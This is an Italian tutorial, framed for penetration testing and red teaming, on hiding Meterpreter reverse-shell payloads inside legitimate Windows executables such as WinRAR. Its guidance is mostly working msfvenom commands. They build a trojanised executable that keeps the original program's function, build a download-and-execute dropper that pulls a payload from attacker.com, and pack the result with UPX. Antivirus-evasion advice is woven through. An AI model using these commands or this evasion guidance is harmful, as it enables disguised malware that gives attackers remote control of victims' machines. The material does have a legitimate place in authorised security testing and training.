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📂 Guida Approfondita: Injecting Payloads into Windows Portable Executables (PE)

Nel contesto di un penetration test controllato o in scenari di Red Teaming, l'iniezione di payload in eseguibili legittimi rappresenta una tecnica sofisticata per ottenere l'accesso a sistemi target

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📂 Guida Approfondita: Injecting Payloads into Windows Portable Executables (PE)

Introduzione

Nel contesto di un penetration test controllato o in scenari di Red Teaming, l'iniezione di payload in eseguibili legittimi rappresenta una tecnica sofisticata per ottenere l'accesso a sistemi target mascherando il codice malevolo.

In questa guida, analizzeremo:

  • I concetti di base
  • Il processo di iniezione tramite msfvenom
  • Considerazioni su compatibilità e stabilità
  • Tecniche avanzate e best practices

Concetti Fondamentali

Windows Portable Executable (PE) è il formato standard per file eseguibili (.exe) su Windows. Un file PE contiene:

  • Header PE
  • Tabelle delle sezioni (text, data, rsrc, etc.)
  • Codice macchina eseguibile

L'obiettivo dell'iniezione è modificare l'eseguibile per includere un payload (ad esempio, una reverse shell Meterpreter) senza corrompere la funzionalità originale o rendere l'infezione evidente.


Iniezione Base con msfvenom

Comando base per l'iniezione:

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -f exe \
  -x /home/kali/winrar.exe > payload.exe

Spiegazione dei parametri:

  • -p: specifica il payload da utilizzare.
  • LHOST e LPORT: IP e porta della macchina attaccante.
  • -e x86/shikata_ga_nai: encoder utilizzato per offuscare il payload.
  • -i 10: numero di iterazioni di encoding.
  • -f exe: formato dell'output (eseguibile Windows).
  • -x: eseguibile "buono" da utilizzare come "carrier".

Nota:

Non tutti gli eseguibili sono compatibili. Alcuni, una volta modificati, crashano o non funzionano.

Nel caso sopra, l'eseguibile risultante NON manterrà le funzionalità di WinRAR. L'esecuzione avvierà solo il payload.


Iniezione Mantenendo la Funzionalità Originale

Per tentare di preservare le funzionalità dell'eseguibile, si utilizza l'opzione -k (keep):

bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -f exe \
  -x /home/kali/winrar.exe -k > payload.exe

Problemi comuni:

  • L'opzione -k non funziona con tutti gli eseguibili.
  • Eseguibili con protezioni come checksum, ASLR, DEP o firme digitali potrebbero crashare.

Suggerimento operativo:

Testare l'eseguibile in laboratorio prima di utilizzarlo in produzione.

Tecniche Avanzate di Iniezione

1. Utilizzare Executables "Dummy"

Creare o utilizzare eseguibili molto semplici ("Hello World" programs) progettati per facilitare l'iniezione senza protezioni.

2. PE Injection Manuale

Utilizzare tool avanzati come:

  • msfpescan: analisi dei file PE
  • LordPE, CFF Explorer: modifica manuale di header e sezioni
  • Donut + Shellcode Injection: conversione del payload in shellcode e iniezione runtime.

3. Payload Staging

Creare un "dropper" molto leggero che scarichi ed esegua il payload in memoria, riducendo il rischio di detection.

Esempio:

bash
msfvenom -p windows/download_exec URL=http://attacker.com/payload.exe -f exe > dropper.exe

4. Uso di Crypters/Packers

Offuscare ulteriormente l'eseguibile modificato con:

  • UPX (Ultimate Packer for eXecutables)
  • Crypters customizzati
bash
upx --best --lzma payload.exe

Attenzione: alcuni antivirus moderni identificano l'uso di UPX stesso come sospetto.


Best Practices

Best PracticeDescrizione
Test accuratoSempre testare l'eseguibile in ambiente isolato
Encoder multipliUtilizzare più encoder o tecniche di obfuscation
Payloads stabiliPreferire payload che gestiscono crash o instabilità
File-size awarenessControllare la dimensione dell'eseguibile post-iniezione
Evitare PE firmatiEseguibili firmati perderanno la firma dopo l'iniezione

Conclusione

L'iniezione di payload in Windows PE è una tecnica potente ma delicata, che richiede una buona conoscenza delle strutture interne dei file PE e delle difese moderne dei sistemi Windows. Un penetration tester o red teamer professionale deve:

  • Scegliere con cura l'eseguibile da utilizzare
  • Adottare tecniche di evasione avanzate
  • Minimizzare gli indizi che possano insospettire i sistemi di difesa

La chiave è l'adattabilità e la continua sperimentazione.